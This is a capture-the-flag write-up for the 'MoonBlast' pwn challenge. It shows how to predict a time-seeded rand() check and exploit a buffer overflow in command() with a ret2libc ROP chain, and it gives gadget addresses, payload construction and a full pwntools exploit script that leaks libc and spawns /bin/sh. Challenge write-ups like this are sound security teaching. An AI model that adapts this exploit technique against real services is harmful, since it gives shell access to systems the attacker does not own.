---
# System prepended metadata

title: Pwn - ret2libc (firebird MoonBlast)

---

# ret2libc
Write up for [HKUST firebird - MoonBlast](https://github.com/BraveCattle/ctf/tree/main/firebird/moonblast)

# Analysis
![moon13](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124143943_moon13.png)
NX is enabled, thus exploit by executing shell on stack is not feasible. But return into libc is still exploitable.
## vulnerability


There is a buffer overflow vulnerability in the function ```command()```

![图片.png](https://s2.loli.net/2024/01/23/etK5Uhyv8JE9dM2.png)

To exploit the buffer overflow vulnerability, we can utilize ROP to obtain shell.

## problem overview
```main()``` function

![图片.png](https://s2.loli.net/2024/01/23/vneYBQNjSkEuxpG.png)

The problem can be divided into 2 parts:
1. pass the ```rand()``` check with ```srand(time(0))``` 
2. exploit ```command()``` with ROP

# Solution
## part 1

![图片.png](https://s2.loli.net/2024/01/23/WBiaQ1SCOgzkZTp.png)

The first part of the problem is a ```rand()``` check. The easiest way to pass the check locally is to use scripts to generate the random number and pass it to the binary.

rand.c:
```c
#include <time.h>
#include <stdio.h>
int main(){
    srand(time(0));
    printf("%d\n", rand());
    return 0;
}
```
Compile rand.c to executable and the below script passes the ckeck locally (since same libc used):
```python
os.system('./rand > rand.txt')
rand_int = 0
with open("rand.txt") as f:
    for num in f:
        rand_int = eval(num.strip())

r = process("./MoonBlast")
# r = remote("ash-chal.firebird.sh", 36031)

elf = ELF("./MoonBlast")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc

recv = r.recvline()
recv = r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand_int), encoding='utf8'))
```

## part 2
To obtain shell and leak the flag, we need to:
1. leak the address of libc_base in order to find the corresponding libc version, and find the offset of libc functions
2. get the libc version by leaked function addresses, e.g., ```puts@plt```
3. calculate the address of shell and '/bin/sh', construct payload containing shell address and address of '/bin/sh'

### Leak the address of libc_base
We can construct ROP to leak the address of the libc functions that have been called, e.g., ```getchar()``` or ```puts()```. 

Here we construct the first ROP that leaks the libc. After libc functions are called, the address of the function will be written in its ```got```, therefore we can put ```got``` as function argument (stored in register ```rdi``` in 64-bit ELF), and then call ```puts``` to print out the address. 

First genereate a padding string to check the offset of the ```rbp```

```cyclic 200```

![图片.png](https://s2.loli.net/2024/01/23/AjS4rQyYwDMqLd5.png)

Put the padding string to input buffer to get the buffer offset.

![moon1.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124042917_1.png)

The current stack is overflowed, its status is shown below:

![moon2.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124133136_moon2.png)

The offset of the return address of last frame can be calculated by ```cyclic -l eaab```, which returns the number of characters before the queried string.

![moon3.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124075156_moon3.png)

Thus the offset of return address of last frame would be $116+4=120$. Then we can construct the payload as follows:

```python
b'a'*120+flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command'])
```

The ```pop_rdi_addr_ret``` is the address of instruction ```pop rdi; ret``` in the ELF. This could be obtained by ```ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi"```.

```elf.plt['puts']``` and ```elf.sym['command']``` stores ```puts@plt``` and address of ```command()``` respectively. These could also be found in the disassembled code. (```objdump -S MoonBlast```)

![moon6](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124102548_moon6.png)

![moon4](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124095913_moon4.png)

After sending the payload to the ELF, the stack status would be:
![moon5](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124141702_moon5.png)
```
00000000004008c4 <command>:
  4008c4:	55                   	push   %rbp
  4008c5:	48 89 e5             	mov    %rsp,%rbp
  4008c8:	48 83 ec 70          	sub    $0x70,%rsp
  4008cc:	48 8d 3d 65 01 00 00 	lea    0x165(%rip),%rdi        # 400a38 <_IO_stdin_used+0x8>
  4008d3:	e8 e8 fd ff ff       	call   4006c0 <puts@plt>
  4008d8:	48 8d 3d 7d 01 00 00 	lea    0x17d(%rip),%rdi        # 400a5c <_IO_stdin_used+0x2c>
  4008df:	b8 00 00 00 00       	mov    $0x0,%eax
  4008e4:	e8 e7 fd ff ff       	call   4006d0 <printf@plt>
  4008e9:	48 8d 45 90          	lea    -0x70(%rbp),%rax
  4008ed:	ba 00 01 00 00       	mov    $0x100,%edx
  4008f2:	48 89 c6             	mov    %rax,%rsi
  4008f5:	bf 00 00 00 00       	mov    $0x0,%edi
  4008fa:	e8 e1 fd ff ff       	call   4006e0 <read@plt>
  4008ff:	48 8d 3d 72 01 00 00 	lea    0x172(%rip),%rdi        # 400a78 <_IO_stdin_used+0x48>
  400906:	e8 b5 fd ff ff       	call   4006c0 <puts@plt>
  40090b:	90                   	nop
  40090c:	c9                   	leave  
  40090d:	c3                   	ret   
```
When function ```command()``` ends, ```leave``` and ```ret``` would be executed. This is the epilogue of a function call, which is equivalent to
```
mov rsp, rbp
pop rbp
pop rip
```

The status of executing the ROP payload would be:
![moon11](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124141344_moon11.gif)

Then we successfully printed out the address of one libc function, and hereby we can calculate the ```libc_base``` address.

```python
r.recvuntil("Command received!\n")
recv = r.recvline()
print(f"recevied: [{recv}]")
libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts']
print("libc_base: ", hex(libc_base))
```

### get the libc version
[libc database search](https://libc.blukat.me/)

By performing the forementioned method on the remote server, the address of libc functions are leaked. Here only the last 3 bytes are useful, as the offset in the memory pages does not change.
![moon14](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124173037_moon14.png)
One can either copy the needed offset (```str_bin_sh``` and ```system```) to use, or download the libc file and use pwntools to get the offset by ```libc = ELF("libc6.so")```.

Since there might be multiple versions that match the function addresses, we need to try each of them to find the correct one.

### calculate the address of shell and '/bin/sh'
Pwntools has provided built-in functions for searching the offset of libc functions/symbols.
```python
sys_addr = libc_base+libc.symbols['system']
sh_addr = libc_base+next(libc.search(b'/bin/sh'))
```

Similarly, we need to store the address of ```/bin/sh``` to ```rdi```, and put the address of ```system``` to ```rip``` to make the ELF execute ```system('/bin/sh')```. One valid payload could be:
```python
payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr)
```

The stack process is similar to the illustration above. Send the payload and obtain the shell:
![moon12](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124142831_moon12.png)

## source code
```python
from pwn import *
import os

context.log_level='debug'
# context.terminal=['tmux','splitw','-h']
context.arch='amd64'

os.system('./rand > rand.txt')
rand_int = 0
with open("rand.txt") as f:
    for num in f:
        rand_int = eval(num.strip())

r = process("./MoonBlast") # to test locally
# r = remote("ash-chal.firebird.sh", 36031) # to crack remotely

elf = ELF("./MoonBlast")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc
# libc = ELF("libc.so.6") # remote libc (libc6_2.27-3ubuntu1.5_amd64.so)

recv = r.recvline()
recv = r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand_int), encoding='utf8'))

pop_rdi_addr_ret = 0x400a13 # ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi"
# 0x0000000000400a13 : pop rdi ; ret

payload = b'a'*120
payload += flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command'])
recv = r.recvuntil(b'Please enter your command: ')
r.sendline(payload)
r.recvuntil("Command received!\n")
recv = r.recvline()
print(f"recevied: [{recv}]")
libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts']
print("libc_base: ", hex(libc_base))

sys_addr = libc_base+libc.symbols['system']
sh_addr = libc_base+next(libc.search(b'/bin/sh'))
ret_addr = 0x4006ae # ROPgadget --binary MoonBlast --only "ret"
# 0x00000000004006ae : ret
recv = r.recvuntil(b'Please enter your command: ')
payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr)
r.sendline(payload)

r.interactive()
```

# Conclusion
A template ROP pwn problem. ~~However due to docker VM source, the solution provided by author not always pass the ```rand()``` check~~

